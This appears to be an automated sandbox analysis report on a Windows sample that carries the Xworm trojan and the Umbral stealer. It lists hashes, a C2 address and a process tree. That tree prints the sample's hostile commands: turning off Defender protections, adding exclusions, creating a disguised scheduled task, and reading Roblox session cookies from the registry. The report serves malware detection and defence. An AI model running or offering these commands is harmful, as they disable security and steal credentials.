Analysis

  • max time kernel
    138s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-05-2024 17:32

General

  • Target

    New_Project_1.exe

  • Size

    486KB

  • MD5

    330f592f3a03c5e2c2ed4593d227f1a8

  • SHA1

    55957a8e8d405569c655923dd9414c4ec6c45a0d

  • SHA256

    0f10ed177734b40d0ca45eed258f8c3ca585323e32db8f3cab7387b61de0e679

  • SHA512

    497f9308a49eb1e9451675f447c5774cbaf267dd77b69e1ab494609feca17a20224ac707e54abcb090ee90e1e8187e9fa681c200bcec97ac1bc36b0ce38d15c2

  • SSDEEP

    12288:cWjF6EjvVYEaZ1hJcSx3ThB6xL3s7H4sn4/OxJrinEXL/sT:p68aZ1hlxlay5HdCuL

Malware Config

Extracted

Family

xworm

C2

reference-elliott.gl.at.ply.gg:37420

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    svchost.exe

Signatures

  • Detect Umbral payload 3 IoCs
  • Detect Xworm Payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\New_Project_1.exe
    "C:\Users\Admin\AppData\Local\Temp\New_Project_1.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1452
    • C:\Users\Admin\AppData\Local\Temp\1.exe
      "C:\Users\Admin\AppData\Local\Temp\1.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3728
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4364
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '1.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4212
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2384
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3716
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\svchost.exe"
        3⤵
        • Creates scheduled task(s)
        PID:2028
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /delete /f /tn "svchost"
        3⤵
          PID:2728
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBBED.tmp.bat""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1104
          • C:\Windows\system32\timeout.exe
            timeout 3
            4⤵
            • Delays execution with timeout.exe
            PID:1476
      • C:\Users\Admin\AppData\Local\Temp\2.exe
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        2⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3328
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4628
        • C:\Windows\SYSTEM32\attrib.exe
          "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\2.exe"
          3⤵
          • Views/modifies file attributes
          PID:4784
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1072
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3208
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1908
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:924
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" os get Caption
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2136
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" computersystem get totalphysicalmemory
          3⤵
            PID:1428
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            3⤵
              PID:768
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:3252
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic" path win32_VideoController get name
              3⤵
              • Detects videocard installed
              PID:1820
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\2.exe" && pause
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4400
              • C:\Windows\system32\PING.EXE
                ping localhost
                4⤵
                • Runs ping.exe
                PID:4652

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          77d622bb1a5b250869a3238b9bc1402b

          SHA1

          d47f4003c2554b9dfc4c16f22460b331886b191b

          SHA256

          f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

          SHA512

          d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          948B

          MD5

          17d8127be94d3c1b6fcc9a4ed585003e

          SHA1

          789874fcc7c778c723f3e89822d8cc8750c6c4c8

          SHA256

          ea357ad1f95863b3618d31e5b0f90495331f64de2b784d9e185b48668c937a7b

          SHA512

          bb18b6d07d82227f5cfbe3eb460df79ec892c560ad2964dcd4782aa26336ae15059843bf46a739bdd4a4daa58057f99102531a756a1cf434ce6449b3cd35a98e

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          88be3bc8a7f90e3953298c0fdbec4d72

          SHA1

          f4969784ad421cc80ef45608727aacd0f6bf2e4b

          SHA256

          533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

          SHA512

          4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          6317adf4fbc43ea2fd68861fafd57155

          SHA1

          6b87c718893c83c6eed2767e8d9cbc6443e31913

          SHA256

          c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

          SHA512

          17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          36bb833bcefdd2f80a289fc681c87627

          SHA1

          4204fa10680f0a9c2699a9eb52709db1cd68e0b7

          SHA256

          52be5401760e6cc30c6018d277e7ce91aa262b3888297f76e95a20fdda8e2ae6

          SHA512

          233fbb528d3b7196fb967fff74e66dd589b6a302e97774a24fbeb971996aa6c1b17f24f19380873c976978552e245b3dd065cdb9d4133ce554c507d92f8778e1

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          96ff1ee586a153b4e7ce8661cabc0442

          SHA1

          140d4ff1840cb40601489f3826954386af612136

          SHA256

          0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

          SHA512

          3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          eb1ad317bd25b55b2bbdce8a28a74a94

          SHA1

          98a3978be4d10d62e7411946474579ee5bdc5ea6

          SHA256

          9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98

          SHA512

          d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0

        • C:\Users\Admin\AppData\Local\Temp\1.exe

          Filesize

          88KB

          MD5

          4e4ffd6981f1d7df1e06e02c7a52e86a

          SHA1

          970d227a122a826f587fb49c694a422ec6aff1e0

          SHA256

          353010e5cbdfb234aadfcb40b517b51b24bbac81b64d794d5d8f8b1cd0cd6031

          SHA512

          1f75401fe015416453119bb92ea46c71412f342fe4bf1170bc2655a1c4f1fb4344bdff64df8dfd54f8203b30445225a70f12790432d3b59693e96de2fa5750ec

        • C:\Users\Admin\AppData\Local\Temp\2.exe

          Filesize

          230KB

          MD5

          8068d967a754039c953d677ed75caa65

          SHA1

          c6ca62d0e3f84f4018546cdf40b14ac80b06af95

          SHA256

          b2811334ba1ec945f7f2f1b1976e72dd634a4cf8b5679ceb4c90816d5b646b11

          SHA512

          8f8f9b0c50f3178daa1df6ce16755c7a0de24872a344fe6b93d1a9b11cfad2faa1ed5ad58c6ac9904b889188d8efaba2d51e4240e7a813fffe6878ec8970954c

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mn0kiy2p.eze.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\tmpBBED.tmp.bat

          Filesize

          153B

          MD5

          0fc5106316fa645e6485dddd82dcc03d

          SHA1

          53b8bb3ffe3bf3daf719e7f95d00e6029a1b69a8

          SHA256

          f6cb920cad7893cf4d35c915eec99363a8a3c645f7da758228c586c7b19eb959

          SHA512

          84403636315ff7647139891b2c0552176503cb2d263ba6e14fb8361c667de797434f3a1f17ea2f34b8d4d2bac2b9c763f04caa1e94d715aa7c9cb1aa48a15204

        • memory/1072-131-0x000001D0AA560000-0x000001D0AA582000-memory.dmp

          Filesize

          136KB

        • memory/1452-0-0x0000000000400000-0x000000000047C000-memory.dmp

          Filesize

          496KB

        • memory/3328-151-0x000001EBFCBD0000-0x000001EBFCC20000-memory.dmp

          Filesize

          320KB

        • memory/3328-122-0x000001EBFADE0000-0x000001EBFAE20000-memory.dmp

          Filesize

          256KB

        • memory/3328-189-0x000001EBFD570000-0x000001EBFD582000-memory.dmp

          Filesize

          72KB

        • memory/3328-188-0x000001EBFCB80000-0x000001EBFCB8A000-memory.dmp

          Filesize

          40KB

        • memory/3328-123-0x00007FFB72AD0000-0x00007FFB73591000-memory.dmp

          Filesize

          10.8MB

        • memory/3328-252-0x00007FFB72AD0000-0x00007FFB73591000-memory.dmp

          Filesize

          10.8MB

        • memory/3328-152-0x000001EBFD550000-0x000001EBFD56E000-memory.dmp

          Filesize

          120KB

        • memory/3328-150-0x000001EBFD5D0000-0x000001EBFD646000-memory.dmp

          Filesize

          472KB

        • memory/3728-192-0x00007FFB72AD0000-0x00007FFB73591000-memory.dmp

          Filesize

          10.8MB

        • memory/3728-62-0x00007FFB72AD3000-0x00007FFB72AD5000-memory.dmp

          Filesize

          8KB

        • memory/3728-257-0x00007FFB72AD3000-0x00007FFB72AD5000-memory.dmp

          Filesize

          8KB

        • memory/3728-258-0x000000001B740000-0x000000001B74C000-memory.dmp

          Filesize

          48KB

        • memory/3728-259-0x00007FFB72AD0000-0x00007FFB73591000-memory.dmp

          Filesize

          10.8MB

        • memory/3728-110-0x00000000008D0000-0x00000000008EC000-memory.dmp

          Filesize

          112KB

        • memory/3728-267-0x00007FFB72AD0000-0x00007FFB73591000-memory.dmp

          Filesize

          10.8MB